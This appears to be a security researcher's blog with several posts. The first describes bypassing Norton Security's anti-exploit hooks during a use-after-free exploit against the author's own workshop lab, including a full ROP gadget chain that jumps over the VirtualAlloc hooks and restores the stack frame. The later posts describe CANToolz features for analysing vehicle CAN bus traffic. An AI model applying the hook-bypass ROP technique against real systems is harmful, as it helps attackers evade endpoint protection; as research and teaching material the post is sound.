пятница, 16 декабря 2016 г.

Bypassing Exploit protection of NORTON Security

Hey, today I am not going to talk about CANToolz! Surprise 8)

Let me start this story from the beginning - I just got a new laptop, and by default there was installed a Norton Security. And I have 60 days evaluation time.  And this is ok (except that part when Norton have decided to delete my Radare2, that was awful... ).

One day I have decided to test my old Zeronights 2012 workshop  about x86 exploitation (http://www.slideshare.net/DefconRussia/sintsov-advanced-exploitation-in-win32). And I was surprised that Norton have stopped my UAF exploit... good job! (if you interested in that lab, you can get it here: https://github.com/defcon-russia/activex_workshop/tree/master/Use_After_Free_x32)

But it was interesting for me - how it works and how we could bypass it... And then I have started playing with it online - while streaming this  on our TWICH (https://www.twitch.tv/defconrussia, sorry Russian lang), so my friends from Defcon-Russia (DC 7812) could do it with me online 8)

First finding: Norton could detect only StackPivots, and  it's done with help of ring3 hooks on critical functions, like LoadLibrary, VirtualProtect and VirtualAlloc. So they have injected their JUMPS in function's prologue and intercept all calls. In their handler they can check if current stack frame is "original". If  not, then they raising an exception like on that screenshot. So if during exploit there are no Stack Pivotings happened (let's say  simple BoF where ROP and shellcode in the same stack) then attack will be not stopped and detected.

Let's see their hooks on VirtualAlloc  where my ROP shellcode fails after StackPivot:

First  hook is in the kernel32 wrapper and then second hook in kernelbase:

This could be  bypassed via different methods for example attacker could copy ROP shellcode with VirtualAlloc call into original stack with help of stage1 ROP shellcode and than switch "original" stack frame back, or he could bypass hooks by restoring function's prologue and jump over the hook. During the stream we decided to try both strategies just for fun:

1) ROP shellcode will bypass VirtualAlloc via jumps over two hooks.
2) Then normal shellcode will restore original stack frame and execute LoaldLibrary and other functions without any exceptions.

BTW, when I started this activity, @matrosov told me about their research, where this topic  was covered as well: https://www.blackhat.com/docs/us-16/materials/us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations.pdf So topic is a really well-known problem! And looks like guys from Symantec (and not only, others Security vendors also have same issues) already aware about this.

Bypassing two hooks in ROP's VirtualAlloc call:

My original exploit have leaked pointer to VirtualAlloc call from kernel32, If we want to bypass these hooks, we need to call VirtualAlloc from kernelbase, and we need to "jump" on that address with offset in 5 bytes from the beginning. Directly on first "push ecx".
We did it like that:
esi <- VirtualAlloc pointer

So we build ROP that doing:

       mov eax, [esi + 8] ; read kernelbase.virtualalloc pointer
       mov eax, [eax]      ; get this pointer
       add eax, 5              ; get pointer over the hook, directly to first "push ecx"

But you could not do "jmp eax", because prologue of kernelbase.VirtualProtect was "overwritten" by hook, so first you need to restore original EBP value (because this register is used as a pointer for parameters)

lost VirtualAlloc prologue:

push ebp
mov ebp, esp

So we need to be sure that at the moment of the jump we will  have pre-calculated EBP value that will be equal to ESP. It is mean that we need to do mov ebp,esp just before we will do "jmp eax". Then hook will be bypassed. Of course when you do it via ROP it is a little bit more difficult, because ROP always changes ESP pointer. But finally we did it (ROP for my vulnerable workhsop ActiveX module, ASLR enabled, so addresses here just for an example):

1) This is ROP shellcode after stack pivot, we have original stack pointer stored in EDI
2) Let's pre-calc EBP (EBP should be same as ESP when VirtualAlloc will be called)

>0x5bf2b484 :  # POP EAX # RETN 
>204        :  # offset to EBP
>0x5be63cd8 :  # PUSH ESP # POP EBP # RETN 04 
>0x5bf014a9 :  # XCHG EAX,EBP # RETN
>0x90909090 :  # TRASH
>0x5bf08c87 :  # ADD EAX,EBP # RETN 
>0x5bf014a9 :  # XCHG EAX,EBP # RETN

3) Here we want to calc address of VirtuallAlloc in kernelbase after all Norton's hooks
# EAX = kernelbase.virtalloc + offset_over_the_hook

>0x5bee1907 :  # POP ECX # RETN [npexploitMe.dll] 
>0x5bf32114 :  # ptr to &VirtualAlloc() [IAT npexploitMe.dll]
>0x5bed6fb0 :  # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll]
>0x5bedba6d :  # ADD EAX,8 # RETN 
>0x5be629f9 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5be629f9 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN 

4) Prepare parameters for VirtualAlloc

>0x5bf20010  :  # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be8936f  :  # XOR EAX,EAX # RETN 
>0x5bf08c87  :  # ADD EAX,EBP # RETN  ; EAX=EBP
>0x5bed87dd  :  # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN 
                     ; EDX = EBP, pointer to place where we want to store our VA parameters
>0x11223344  :  # trash to esi
>0x5bf20010  :  # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be98313  :  # MOV EAX,ESI # RETN  
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; save VA call address (1)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN ; DWORD* pointer++
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; not needed, new EBP (2)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bf2b484  :  # POP EAX # RETN ; put return address after VA call int EAX    
>0x5be63ce2  :  # PUSH ESP # RETN ; this will be executed after VA (goes to EAX right now)
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; Retuen address (3)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5be8936f  :  # XOR EAX,EAX # RETN 
>0x5bf08c87  :  # ADD EAX,EBP # RETN  ; EAX=EBP
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; pointer to page (4)
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored...
>0x5bee809b  :  # RETN 
>0x11111111  :  # This will be overwritten by (1)
>0x22222222  :  # This will be overwritten by (2)
>0x22222222  :  # Retuen address after VA call, will be overwritten by (3)
>0x33333333  :  # First VA parameter - pointer, overwrittem by (4)
>0x00000001  :  # Second VA parameter: size       
>0x00001000  :  # Third VA parameter: AllocationType = MEM_COMMIT            
>0x00000040  :  # Last VA parameter: R_X    

After that normal shellcode can be executed from R_X memory. We still have the original stack frame pointer in EDI, we did not use this register during ROP, so now shellcode could restore original stack frame (second strategy) and continue execution without problems from Norton Security:

        mov esp, edi

Now we have bypassed this protection and able to execute our code for the workshop exploit with no problems. Too simple. And this tricks are kind universal and will work in most setups (like same ROP and shellcode will be executed same way on boxes without Norton, and with Norton, so attacker will not need two different payloads/shellcodes)

For me it was funny to stream this small ans simple "research" and I got a lot of help from the community, finally we all had fun time and learned about security something.

понедельник, 30 мая 2016 г.

PHDays: CAR4ALL challenge (part 1)

CAN reversing with CANToolz

PHDays happened on May 17-18, in Moscow. It was a really great event and I believe PHDays is one of the best IT-Security event in Russia (but of course Zeronights is the best of the best). And during this event there was a small CAR/CAN-quest prepared by my friends and my small support (as CANToolz developer). Here I want to do a small write-up about it. 

On first day of the conference we had "offline" task with real CAN dumps. Those who solved this task got access to the second level on second day of the conference. And this second task was based on a real vehicle that was parked inside main venue. But let's talk more detailed.

_Saplt, _j0hnni3 and @Z0ha4

Thx to HardwareVillage and team: Michael Elizarov (@_Saplt), @Z0ha4, Anton Sysoev and  @_j0hnni3.


среда, 4 мая 2016 г.

CANToolz: ISO-TP and DIFF updates

Hello all,

Want to summarize all updates and features in CANToolz that help us to understand CAN network of vehicles.

First of all I have ported CANToolz to Python 3.x, and have added CANSocket support. So new module hw_CANSocket working with CAN device over CAN Socket. Simple and cool.

Another thing that was improved: UDS service detection and ISO TP detection methods in mod_stat. Anton Sysoev have reported that this module does some mistakes in ISO-TP detection, because on his VW all ISO-TP messages have padding to 8 bytes! So I have improved mod_stat it is now can detect padding in ISO-TP messages. Also padding feature was added to gen_ping so it is possible to generate messages with chosen padding. And as example of how it works, you can see how Anton can sniff traffic between VAG and his car's OBDII to understand which UDS services  are used (and how):

This is dump of the traffic between VAG and VW. Here we can see, that two devices are talking with each other, and padding here  '0x55' in requests and '0xAA' in responses. Also you can see that ID of UDS response is equal request's ID + 0x6A (not 0x8 as we are using by default). We  need  to change this parameter in 'UDS shift value' and then we can try to analyze traffic:

Wow! It works. Thx Andrey for testing this on your car and for feedback and advises. So here we can see that CANToolz can re-assemble ISO-TP messages and find UDS services! Yes, you can see here ERROR in 'security access', but this is because VW uses unknown (not default?) sub-commands, which CANToolz do not understand by default. But anyway we were able to get CHALLANGE and RESPONSE in security access, and looks like there is another problem, but it is out of our topic and may be Andrey will discover what he has found later. So here I am happy just because  in general my UDS detection works very good. We could do more and find how to enable and disable this feature in ECU and then we can do the same action from CANToolz, without VAG anymore. But this is another story...

One more important update related to DIFF mode. Now it is more functional and useful! And again let's see this features on real example provided by @Z0ha4. He has a BMW car, and he also preparing it for Hardware Village Russia. And now he is going to use  DIFF feature of CANToolz to find useful control messages in CAN. He will tell more about this on PHDays, but I want to tell you about CANtoolz DIFF mode which has been changed a little bit. Now it supports multiply buffers, so you can name them and dump traffic into them separately, later you can do DIFFs between those buffers and dump them or dump just diffs.  For that  use command "Switch sniffing to a new buffer", and you can give name for this buffer. In general you need a white-noise traffic as general set (with this set where we have no actions you will do all diffs to find actions in other sets). Just start car, and dump CAN traffic for one minute. Then stop mod_stat and use "Switch sniffing to a new buffer" to create a  new buffer. You can name it if you want, for example like that: "Windows Down/Up action". Then activate mod_stat and do these actions in the car. Just after that you can stop mod_stat and think about next actions. Then repeat: create buffer, activate mod_stat, do an action, disable mod_stat (or stop sniffing, because we do not need noisy frames in those buffers). After that you will have some buffers with all actions:

You can do DIFF between any two buffers by using its index (or by default last two buffers will be compared). Here we are trying to find windows action's CAN frames:

We are using "Print Diff between two buffers (new ID only)" to find only  frames with ID that not sniffed in "white-noise" buffer. And frames with ID 0xFA looks exactly like what we are looking for. Of course we can dump this diff and do a replay.. or do something else but let me show you another simple thing that can help us to validate our guess: searching by ID. Yes, simple search. Let's do a search for this ID (0xFA) in all buffers:

 And as result we can see, that this ID (0xFA) found only in dump related to car's window's action. Also low value of the ID tell us that it looks like what we want. Later we can find which frames related to up or down action and what bits means what, but this is later work and we will cover this later.

And once again I want to thanks all Hardware Village community for feedback about CANToolz and good advises. All these examples done by them just for fun and because they are enthusiasts! So I can improve CANToolz because of community help and that is great. Anyway  for last 3 month (this tool is very young, as you can see) we have >200 commits and new awesome features will be added soon! Yes, maybe Front-End/GUI part not so awesome and we have lack of documentation, but anyway I found this project very useful not only for fun and CarHacking, but for OEM/Vendor internal tests and automation (security) and we will talk about this later, for sure. 

воскресенье, 17 апреля 2016 г.

CANToolz: mod_stat - diff mode

Small updates in CANToolz in version 1.5-0:

Have added DIFF mode to mod_stats module. This can be useful if you want to find what frames are new in the traffic. For example you have traffic dump, then you enable diff mode and do some action, like door unlock. Just after that you can press "print diff" and see all CAN frames that were found in the CAN BUS after enabling  DIFF mode but not before. Of course there will be a lot of unneeded traffic as well, but  anyway it should help to reduce amount of traffic for manual analysis. If you press "print DIFF (ID only)" then you will see only those CAN frames that have not known (in original dump, before diff mode enabled) arbitration ID.

When you disable DIFF mode, all CAN frames will me merged to original mod_stat buffer, so you can repeat this action again and again... Finally you can DUMP diff frames and replay. This hould work faster then "binary search".

Let me show this on a real example (it will be part of Hardware Village Car Hacking Workshop). So my friends from Moscow have sent me few dumps of the traffic. Each dump contains one action performed in Honda Civic (9th generation). One of the actions was 'locking doors'. In that BUS we do not have 'control' frames, but we have 'status' frames, let's try to find them! Now I can remotely work with those dumps to understand difference in sets and find 'doors status' messages. First of all I will load and replay all other dumps as 'white noise'. In this traffic we should have status "door unlocked":

Loading and replay traffic with "white noise".

Then I will switch to mod_stat and enable DIFF mode. After that I can  go back  to gen_replay, clean its memory and load/replay dump with status "doors are locked". That's it, now we print DIFF in mod_stat:

Print difference sets of CAN frames

Here we can see bunch of CAN frames. (Also let's dump them into file for more detailed analysis later). So we can see  new values (0) for known  Arbitration IDs (318259472/318255632) . This looks like door lock statuses (0x0 means locked, because before it was different value - 0x80. For that you cant use button "Print current table" and see what was there before). So this value have been changed only in this dump, so on 99% we can say this is doors lock statuses. Easy and I am happy to see that this DIFF idea works fine on practice and CANToolz can help my friends in Moscow! Stay tuned -)

Also some changes for USBTin module: now we can change speed to any value (in kbaud). Not only preset values now!

Another important thing: 'delay' parameter has been added to gen_replay, gen_fuzz, gen_ping. This is important if you do not want DoS for CAN BUS during 'write' operation.

Also very nasty bug was fixed for USBtin... now everything is fine 8))

P.S. Still it is very young software (1 month!), so there can be bugs, we are working on fixing bugs and  improvements. Hope for community's help 8)

P.P.S. New design of WEB GUI! Thx to my wife Svetlana Sintsova!

четверг, 31 марта 2016 г.

CANToolz: mod_stat features

Playing with some dumps of CAN traffic I am trying to implement notsmart traffic-detection features in CANToolz.  Main problem - when you see a lot of CAN frames you can't easily find some interesting data and commands. For that purpose I am trying to improve mod_stat module.

My friend from Moscow (@Saplt)  is  preparing before next HardwareVillage  event  where we have small section dedicated to automotive security ( btw it will happen on May 17-16 in Moscow during PHDays conference). So he have sent me some raw CAN traffic from his vehicle,  (mod_stat can save all frames in some ASCII format and now I can replay this traffic by mod_replay here in Berlin). 

Improvements in 1.2-1

First of all I want to improve ASCII detection. Of course ASCII is not common data format, but for VIN text detection and some other things that are in ASCII this feature could work. I have added ASCII detection before generating output, so now this output should looks better...
Also I have found that some frames have "fragmented" structure (because CAN frames are limited to 8 bytes, and that's why vendors trying to use one of these bytes as control/index byte, so you can transfer more data in one "message" by using few CAN frames). Popular format is ISO-TP so mod_stat can "re-assemble" CAN Frames into ISO-TP messages (if they have been found). ISO-TP used also for UDS, and I have added  detection of UDS services. 

But  ISO-TP is not the only one format. I have found some other  formats with "index" byte in CAN data field. Maybe it is also standardized format, but I do not know, so I tried to build common detection of "index"  and data de-fragmentation by using found "index".  This feature works only for CAN Frames that repeating these frames in the loop.

Detected chain:

Here we can see non ISO-TP message, which was re-built.  I think we can play more with some "smart" analysis of CAN traffic, it is just very first tries... Also, if format is not so easy and "loop-detection" mechanism of mod_stat can't find logic then we can manually setup "index" pointer, "index" size and  value. After that mod_stat will try to re-built chain. 

As an additional feature I  have added COMMENTs, so we can do comments for frames by arbitration ID:

This should help with  marking frames while reverse engineering. Both: comments and manual "index" pointers can be exported/imported via META file. So if you want to share traffic with your colleague, you also can share this meta-data. For me it is important feature, because @Saplt in Moscow and I am in Berlin, but we can share  data and work together! Also I believe that both: meta-section and traffic detection algorithms can be improved a lot, current version is just a prototype, but I like it and want to share...

Other fixes:
   - mod_stat print format changed. Now it is really formatted...
   - bugs in UDS detection during scanning
   - now mod_stat have ALL traffic, not only statistics. This is good and bad... good because of real traffic capture available, bad because of MEMORY.. Will think how to improve this.
   - fixed bug where WEB interface does not work without the Internet (dammed d3...)

пятница, 25 марта 2016 г.

Yet Another Car Hacking Tool

Few days ago I had a small talk (on our local Defcon group meeting - DC#7812) regarding CAN (Controller Area Network) and ECU analysis with help of CANToolz  framework. Therefore, here I would like to repeat some of the ideas from that talk, give some explanations about "Why I have created Yet Another CAN Hacking Tool" and what are my goals.
Here you can find original slides - 


  Automotive Security is an extremely hot-topic now, and that is why I am interested in this field and very lucky to be a part of this automotive industry. Actually, this topic is HUGE: many of the technologies, big attack surface and blah blah blah….

However, security of vehicle's local network has been the main topic for last few years. Yes, I am talking about CAN bus and this is a good moment to remind an awesome research done by Charlie Miller and Chris Valasek: http://illmatics.com/car_hacking.pdf. I am not going to talk about CAN security in general since this is well-known thing (but highly important!). 

When I have started my own “actions in this field”, I met one big issue - lack of tools that can help me to do what I want. Actually, in the Internet you can find many different tools for working with CAN bus. These tools are quite good and helpful, but if you want to use them "together", perform a MitM or make something more, then you have to "customize" them. It is good if you have one car... but what is if you have more targets to test?
Finally, I came into a conclusion that I need to have one common framework where I can work with CAN bus and ECU devices together with minimum "code-writings". If you are familiar with such kind of tools like BurpSuite or MetaSploit then you will understand my words. I wanted such kind of tool as it is going to make my work easier in case if I will share results with someone else or work in a team. Thus, my aim was to have module-based framework that can perform MitM (or work with more than one bus), will be hardware independent and have one-standard interface and even GUI. One more important thing I wanted to have is an open-source project – when all people together will have access to more vehicles than bunch of researchers. I think, together we can create more useful modules that can be used by testers, vendors (in an ideal world) and enthusiasts all over the world.